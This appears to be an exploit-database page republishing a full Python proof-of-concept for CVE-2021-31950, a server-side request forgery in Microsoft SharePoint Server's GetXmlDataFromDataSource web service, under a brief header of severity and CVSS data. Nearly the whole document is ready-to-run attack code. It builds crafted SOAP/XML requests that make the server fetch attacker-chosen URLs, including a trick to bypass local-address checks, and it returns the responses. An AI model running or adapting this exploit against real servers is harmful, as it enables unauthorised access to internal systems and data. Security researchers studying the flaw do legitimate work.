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Microsoft SharePoint Server 16.0.10372.20060 Server-Side Request Forgery

CVE Category Price Severity
CVE-2021-31950 CWE-918 $5,000 - $25,000 Critical
Author Risk Exploitation Type Date
Resecurity, Inc High Remote 2021-06-11
CPE
cpe:cpe:/a:microsoft:sharepoint_server:16.0.10372.20060
CVSS EPSS EPSSP
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060063

Below is a copy:

Microsoft SharePoint Server 16.0.10372.20060 Server-Side Request Forgery
# Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)
# Date: 09 Jun 2021
# Exploit Author: Alex Birnberg
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462
# Version: 16.0.10372.20060
# Tested on: Windows Server 2019
# CVE : CVE-2021-31950

#!/usr/bin/env python3

import html
import random
import string
import xml.sax.saxutils
import textwrap
import requests
import argparse
import xml.etree.ElementTree as ET
from requests_ntlm2 import HttpNtlmAuth
from urllib.parse import urlencode, urlparse

class Exploit:
  def __init__(self, args):
    o = urlparse(args.url)
    self.url = args.url
    self.service = o.path
    self.username = args.username
    self.password = args.password
    self.target = args.target
    self.headers = args.header 
    self.method = args.request
    self.data = args.data
    self.content_type = args.content_type
    self.s = requests.Session()
    self.s.auth = HttpNtlmAuth(self.username, self.password)
    self.s.headers = {
      'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'
    }
    self.s.proxies = {
      'http': 'http://127.0.0.1:8080'
    }

  def trigger(self):
    headers = ''
    if self.headers:
      for header in self.headers:
        header = list(map(lambda x: x.strip(), header.split(':')))
        if len(header) != 2:
          continue
        headers += '<dataurl:Header name="{}">{}</dataurl:Header>'.format(header[0], header[1])
    method = ''
    bypass_local = ''
    if self.method and self.method.upper() == 'POST':
      method = 'HTTP Post'
    else:
      method = 'HTTP Get'
      bypass_local = '<dataurl:Arguments><dataurl:Argument Name="{0}">{0}</dataurl:Argument></dataurl:Arguments>'.format(''.join(random.choice(string.ascii_letters) for i in range(16)))
    content_type = ''
    if self.content_type and len(self.content_type):
      content_type = '<dataurl:ContentType>{}</dataurl:ContentType>'.format(self.content_type)
    data = ''
    if self.data and len(self.data):
      data = '<dataurl:PostData Encoding="Decode">{}</dataurl:PostData>'.format(html.escape(self.data).encode('ascii', 'xmlcharrefreplace').decode('utf-8'))
    query_xml = textwrap.dedent('''\
    <udc:DataSource xmlns:udc="http://schemas.microsoft.com/data/udc" xmlns:udcs="http://schemas.microsoft.com/data/udc/soap" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dsp="http://schemas.microsoft.com/sharepoint/dsp" xmlns:dataurl="http://schemas.microsoft.com/sharepoint/dsp/xmlurl">
      <udc:ConnectionInfo>
        <udcs:Location href="">XMLURLDataAdapter</udcs:Location>
        <soap:Header>
          <dsp:versions>
          </dsp:versions>
          <dsp:request method="query" />
        </soap:Header>
        <soap:Body>
          <dsp:queryRequest>
            <dsp:ptQuery>
              <dataurl:Headers>
                <dataurl:Url href="{}" Method="{}"/>
                {}
                {}
                {}
                {}
              </dataurl:Headers>
            </dsp:ptQuery>
          </dsp:queryRequest>
        </soap:Body>
      </udc:ConnectionInfo>
    </udc:DataSource>'''.format(self.target, method, bypass_local, headers, data, content_type))
    query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', ''))
    data = textwrap.dedent('''\
      <?xml version="1.0" encoding="utf-8"?>
      <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
          <GetXmlDataFromDataSource xmlns="http://microsoft.com/sharepoint/webpartpages">
            <queryXml>{}</queryXml>
          </GetXmlDataFromDataSource>
        </soap:Body>
      </soap:Envelope>'''.format(query_xml))
    r = self.soap('webpartpages', 'http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource', data)
    root = ET.fromstring(r.content)
    try:
      namespaces = {
        'soap': 'http://schemas.xmlsoap.org/soap/envelope/'
      }
      value = list(root.find('soap:Body', namespaces).iter())[2]   
      if value.tag == 'faultcode':
        print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text)
      else:
        print(value.text)
    except:
      print(r.content)
      pass

  def soap(self, service, action, data):
    headers = {
      'SOAPAction': '"{}"'.format(action),
      'Host': 'localhost',
      'Content-Type': 'text/xml; charset=utf-8',
    }
    return self.s.post('{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data)

if __name__ == '__main__':
  parser = argparse.ArgumentParser()
  parser.add_argument('--url', help='Base URL', required=True, metavar='<url>')
  parser.add_argument('--username', help='Username of team site owner', required=True, metavar='<username>')
  parser.add_argument('--password', help='Password of team site owner', required=True, metavar='<password>')
  parser.add_argument('--target', help='Target URL to work with', required=True, metavar='<target>')
  parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='<header>')
  parser.add_argument('-X', '--request', help='Specify request command to use', metavar='<command>')
  parser.add_argument('-d', '--data', help='HTTP POST data', metavar='<data>') 
  parser.add_argument('-c', '--content-type', help='Value for the "Content-Type" header', metavar='<type>')
  exploit = Exploit(parser.parse_args())
  exploit.trigger()
            

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